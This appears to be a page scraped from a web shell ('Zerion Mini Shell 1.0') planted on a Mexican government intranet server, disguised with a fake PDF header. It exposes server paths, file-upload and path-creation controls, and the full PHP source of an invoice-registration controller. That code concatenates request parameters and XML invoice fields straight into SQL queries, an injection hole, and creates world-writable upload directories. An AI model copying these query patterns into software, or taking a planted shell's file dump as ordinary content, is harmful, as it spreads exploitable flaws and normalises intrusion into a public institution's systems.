%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/proveedores/controller/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/proveedores/controller/agregar_compra.php

<?php
session_start();

    $_SESSION['expire'] = time() + (120 * 60);
    include "../../../config/config.php";
    
    $id_usuario =   $_SESSION['usuario_id'];
    $nombre     =   isset($_REQUEST['nombre']) ? $_REQUEST['nombre'] : NULL;
    $id_empresa =   isset($_REQUEST['id_empresa']) ? $_REQUEST['id_empresa'] : NULL;  
    $id_tipo    =   isset($_REQUEST['id_tipo']) ? $_REQUEST['id_tipo'] : NULL;  

    $conf = new Configuracion();
    $conf->conectarBD();
    
             $xml=simplexml_load_file($_FILES['url_xml']['tmp_name']);
        //Extracción de los datos generales de la factura
            foreach ($xml->xpath('//cfdi:Comprobante') as $comprobante ){
                        $folio              =   $comprobante['Folio'];
                        $factura            =   $comprobante['NoCertificado'];
                        $fecha              =   $comprobante['Fecha'];
                        $total              =   $comprobante['Total'];
            }
            
        foreach ($xml->xpath('//cfdi:Comprobante//cfdi:Complemento') as $complemento)
        {
            $factura   =   isset($folio) ? $folio : $complemento['UUID'];
            $folio = $factura;
        }
    
    
     $id_factura = factura($xml,$conf);
     
    if($id_factura != 0)
    {
        $id_estatus = 1;
         if($id_tipo >= 2)
            $id_estatus = 2;
    
        if(is_null($folio))
            $folio = $factura;
        $insertar = "INSERT INTO compras_compras 
                                (nombre,id_empresa,id_tipo,folio,factura,fecha,total,id_estatus,id_factura) 
                            VALUES ('$nombre',$id_empresa,$id_tipo,'$folio','$factura','$fecha',$total,$id_estatus,$id_factura);";
        $id_compra = $conf->ultimo_id($insertar);
    
    
        adjuntar_archivo($id_compra,"url_factura",$conf,$id_factura);
    
        adjuntar_archivo($id_compra,"url_xml",$conf,$id_factura);
        
        
        $conf->desconectarDB();
        
        header("Location: ../page_find_facturas.php?app=1&error=0");
    }
    else
    {
        $conf->desconectarDB();
	    header("Location: ../page_find_facturas.php?app=1&error=1");
    }
    
function factura($xml,$con)
{
    
        foreach ($xml->xpath('//cfdi:Comprobante') as $comprobante ){

        $folio              =   $comprobante['Folio'];
        $fecha              =   $comprobante['Fecha'];
        $sello              =   $comprobante['Sello'];
        $formaDePago        =   $comprobante['FormaPago'];
        $noCertificado      =   $comprobante['NoCertificado'];
        $certificado        =   $comprobante['Certificado'];
        $descuento          =   $comprobante['Descuento'];
        $subTotal           =   $comprobante['SubTotal'];
        $Moneda             =   $comprobante['Moneda'];
        $total              =   $comprobante['Total'];
        $tipoDeComprobante  =   $comprobante['TipoDeComprobante'];
        $metodoDePago       =   $comprobante['MetodoPago'];
        $lugarExpedicion    =   $comprobante['LugarExpedicion'];

    }
    
            foreach ($xml->xpath('//cfdi:Comprobante//cfdi:Complemento') as $complemento)
        {
            $factura   =   isset($folio) ? $folio : $complemento['UUID'];
            $folio = $factura;
        }
    $iva = 0;
    foreach ($xml->xpath('//cfdi:Impuestos') as $impuestos ){

        $iva    =   $impuestos['TotalImpuestosTrasladados'];

    }


    $factSQL = "SELECT id_factura FROM compras_factura WHERE folio_factura_cliente = '$factura' AND fecha_factura = '$fecha' AND total = '$total'";
    $rst1factSQL = $con->consulta($factSQL);         
    if( count($rst1factSQL) > 0)
        return 0;

    $q = "INSERT INTO compras_factura
        (fecha_factura,subTotal,total,folio_factura_cliente,folio,iva,certificado)
        VALUES('$fecha','$subTotal','$total','$factura','$folio',$iva,'$noCertificado');";   
    $id_factura = $con->insertRegLID($q);

    // Extracci贸n de los datos del Emisor
    foreach ($xml->xpath('//cfdi:Comprobante//cfdi:Emisor') as $emisor){

        $Erfc   =   $emisor['Rfc'];
        $Enombre    =  limpiarString($emisor['Nombre']);
        $ERegimenFiscal =   $emisor['RegimenFiscal'];

    }

    foreach ($xml->xpath('//cfdi:Comprobante//cfdi:Emisor//cfdi:DomiciolioFiscal') as $domicilio){

        $Ecalle             =   $domicilio['calle'];
        $EnoExterior        =   $domicilio['noExterior'];
        $Ecolonia           =   $domicilio['colonia'];
        $Elocalidad         =   $domicilio['localidad'];
        $Emunicipio         =   $domicilio['municipio'];
        $Eestado            =   $domicilio['estado'];
        $Epais              =   $domicilio['pais'];
        $EcodigoPostal      =   $domicilio['codigoPostal'];

    }
    $q = "INSERT INTO compras_factura_emisor(id_factura,nombre,rfc,regimen,habilitado)
                VALUES($id_factura,'$Enombre','$Erfc','$ERegimenFiscal',1);";  
        $con->actualizacion($q);


    // Extracci贸n de loos datos del Emisor
    foreach ($xml->xpath('//cfdi:Comprobante//cfdi:Receptor') as $receptor) {

        $Rrfc   =   $receptor['Rfc'];
        $Rnombre    =   $receptor['Nombre'];

    }
    foreach ($xml->xpath('//cfdi:Comprobante//cfdi:Receptor//cfdi:Domicilio') as $domicilio) {  
        $Rcalle             =   $domicilio['calle'];
        $RnoExterior        =   $domicilio['noExterior'];
        $Rcolonia           =   $domicilio['colonia'];
        $Rlocalidad         =   $domicilio['localidad'];
        $Rmunicipio         =   $domicilio['municipio'];
        $Restado            =   $domicilio['estado'];
        $Rpais              =   $domicilio['pais'];
        $RcodigoPostal      =   $domicilio['codigoPostal'];

    }
    
    $q = "INSERT INTO compras_factura_receptor(id_factura,nombre,rfc,habilitado) VALUES($id_factura,'$Rnombre','$Rrfc',1);";  
    $con->actualizacion($q);    

    // Extracci贸n de los datos de los articulos- concepto

    foreach ($xml->xpath('//cfdi:Comprobante//cfdi:Conceptos//cfdi:Concepto') as $concepto){

        $cantidad       =   $concepto['Cantidad'];
        $unidad         =   $concepto['Unidad'];
        $descripcion    =   $concepto['Descripcion'];
        $valorUnitario  =   $concepto['ValorUnitario'];
        $importe        =   $concepto['Importe'];
        $descuento2     =   $concepto['Descuento'];

        $q = "INSERT INTO compras_factura_detalle (producto, descripcion, cantidad, precio_unitario, id_factura)
            VALUES('$descripcion', '$descripcion', '$cantidad', '$valorUnitario', $id_factura)";
        $con->actualizacion($q);
    }
      // insertaImagenFactura("url_documento","url_pdf_factura",$con,$id_factura);
      // insertaImagenFactura("url_xml","url_xml_factura",$con,$id_factura);
       return $id_factura;

}
     function insertaImagenFactura($tipo_imagen,$tipo_imagenDB,$conf,$id_factura)
    {
        if(empty($_FILES[$tipo_imagen]["name"]))
          return;

        $file_name=$_FILES[$tipo_imagen]["name"];
        $extension = pathinfo($_FILES[$tipo_imagen]['name'], PATHINFO_EXTENSION);
        $ext_formatos = array('png','gif','jpg','jpeg','pdf','doc','docx','xml');


        if(!in_array(strtolower($extension), $ext_formatos))
            return;
        if ($_FILES[$tipo_imagen]["size"] > 33000300800)
            return;  
        $dia  = date("d");
        $mes  = date("m");
        $anio = date("Y");

        $targetDir = "../documentos/$anio/$mes/$dia/";
        @rmdir($targetDir);

        // Create target dir
        if (!file_exists($targetDir)) {
            @mkdir($targetDir,0777, true);
        }

        $token = md5(uniqid(rand(), true));
        $file_name = $token.'.'.$extension;

        $add = $targetDir.$file_name; 
        $db_url_img = "$anio/$mes/$dia/$file_name";

        if(move_uploaded_file ($_FILES[$tipo_imagen]["tmp_name"], $add))
        {

            $insertar = "UPDATE compras_factura SET $tipo_imagenDB = '$db_url_img' 
                            WHERE id_factura = $id_factura";
            $conf->actualizacion($insertar);
        }
    }
           
  function adjuntar_archivo($id_compra,$tipo_imagen,$conf,$id_factura)
    {
        if(empty($_FILES[$tipo_imagen]["name"]))
          return;

        $file_name=$_FILES[$tipo_imagen]["name"];
        $extension = pathinfo($_FILES[$tipo_imagen]['name'], PATHINFO_EXTENSION);
        $ext_formatos = array('pdf','jpg','png','gif','jpeg','xml');

        if(!in_array(strtolower($extension), $ext_formatos))
            return;
        if ($_FILES[$tipo_imagen]["size"] > 33000300800)
            return;  
        $dia  = date("d");
        $mes  = date("m");
        $anio = date("Y");
        
        $targetDir = "../adjuntos/$anio/$mes/$dia/";        

        @rmdir($targetDir);

        // Create target dir
        if (!file_exists($targetDir)) {
            @mkdir($targetDir,0777, true);
        }

       $token = md5(uniqid(rand(), true));
        $file_name = $token.'.'.$extension;

        $add = $targetDir.$file_name; 
        $db_url_img = "$anio/$mes/$dia/$file_name";

        if(move_uploaded_file ($_FILES[$tipo_imagen]["tmp_name"], $add))
        {
            $insertar = "UPDATE compras_compras SET $tipo_imagen = '$db_url_img' WHERE id_compra = $id_compra";
            $conf->actualizacion($insertar);
    
             $insertar = "UPDATE compras_factura SET $tipo_imagen = '$db_url_img' 
                            WHERE id_factura = $id_factura";
            $conf->actualizacion($insertar);
        }
    }
?>

Zerion Mini Shell 1.0